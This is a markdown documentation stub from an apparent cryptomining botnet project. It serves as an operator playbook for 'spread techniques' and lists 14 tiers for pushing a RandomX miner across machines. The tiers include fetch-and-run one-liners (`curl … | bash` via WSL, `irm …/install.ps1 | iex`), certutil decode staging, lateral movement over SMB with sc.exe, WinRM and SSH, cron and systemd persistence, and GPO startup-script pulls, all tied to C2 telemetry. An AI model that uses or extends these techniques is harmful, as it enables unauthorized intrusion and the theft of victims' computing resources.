95f26a8d08
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
41 lines
2.8 KiB
Markdown
41 lines
2.8 KiB
Markdown
# Web-Mediated Spread Techniques
|
|
|
|
Canonical operator playbook (served at `/docs/SPREAD_TECHNIQUES.html` on a running command deck):
|
|
|
|
**[`server/web/public/docs/SPREAD_TECHNIQUES.html`](../server/web/public/docs/SPREAD_TECHNIQUES.html)**
|
|
|
|
Markdown matrix (research notes): [`server/web/public/docs/SPREAD_TECHNIQUES.md`](../server/web/public/docs/SPREAD_TECHNIQUES.md)
|
|
|
|
Edit the **public docs** files above — this stub avoids drifting duplicates in `docs/`.
|
|
|
|
**Changelog (2026-06-07):** Documented full 14-tier LOTL spread chain (`vuln_recon` → `gpo`), triple-onion policy gates, fleet intelligence (phenotype, failure atlas, court, clearance), Fleet AI Control + personas, Crucible Access Depth / Probe & Join, Onion timeline (`/lotl-timeline`), and Android APK fleet nodes. See [`README.md`](../README.md) and [`tests/README.md`](../tests/README.md).
|
|
|
|
## Master test doc + full glossary
|
|
|
|
Every LOTL/spread/fleet recon vector (mining tiers, deploy lanes, recon fields, C2 telemetry) is defined with examples in:
|
|
|
|
**[`tests/README.md`](../tests/README.md)** — sections [LOTL architecture (triple onion)](../tests/README.md#lotl-architecture-triple-onion) and [LOTL vector glossary](../tests/README.md#lotl-vector-glossary).
|
|
|
|
Root README includes a concise architecture pointer: [`README.md` § LOTL triple onion](../README.md#lotl-triple-onion-architecture).
|
|
|
|
## Mini glossary (14 spread tiers)
|
|
|
|
| Tier | One-line | Example |
|
|
|------|----------|---------|
|
|
| `vuln_recon` | Read-only KEV/CVE probe before spread | Triple-onion recon or `full_sys_check` |
|
|
| `docker` | Container-isolated RandomX | `com.docker.service` → `docker_load` join lane |
|
|
| `wsl` | WSL curl\|bash when Windows blocked | `wsl -e bash -c "curl … \| bash"` |
|
|
| `powershell` | Hidden PS / remoting bootstrap | `irm …/install.ps1 \| iex` |
|
|
| `dotnet` | `dotnet tool run` — no lone exe | `miner_execution=dotnet` |
|
|
| `bits_curl` | BITS/curl staging + certutil decode | Crucible `stage_fetch` JSON manifest |
|
|
| `do_peer` | DoSvc shadow cache handoff (LAN) | Probe & Join when `DoSvc` running |
|
|
| `wsus_cache_peer` | WSUS cache cousin staging | `Wuauserv` → `join_lane: wsus_cache_peer` |
|
|
| `dns_txt` | DNS TXT mesh shards | `_aether` TXT → `join_lane: dns_txt` |
|
|
| `webrtc_mesh` | WebRTC LAN seeder (forge default OFF) | `webrtc_mesh_spread` + Calibrate rotation policy |
|
|
| `smb` | SMB UNC + `sc.exe` lateral | `spread_smb_unc` with UNC worker path |
|
|
| `winrm` | PS remoting on 5985/5986 | Spread template `{"template":"winrm"}` |
|
|
| `linux` | SSH lateral + systemd/cron LOTL | `{"template":"linux-lotl","lotl_mode":"both"}` |
|
|
| `gpo` | AD startup script pull | `{"template":"gpo"}` or `{"template":"intune"}` |
|
|
|
|
TypeScript source of truth for tier docs: [`server/web/src/help/lotlOnionTiers.ts`](../server/web/src/help/lotlOnionTiers.ts).
|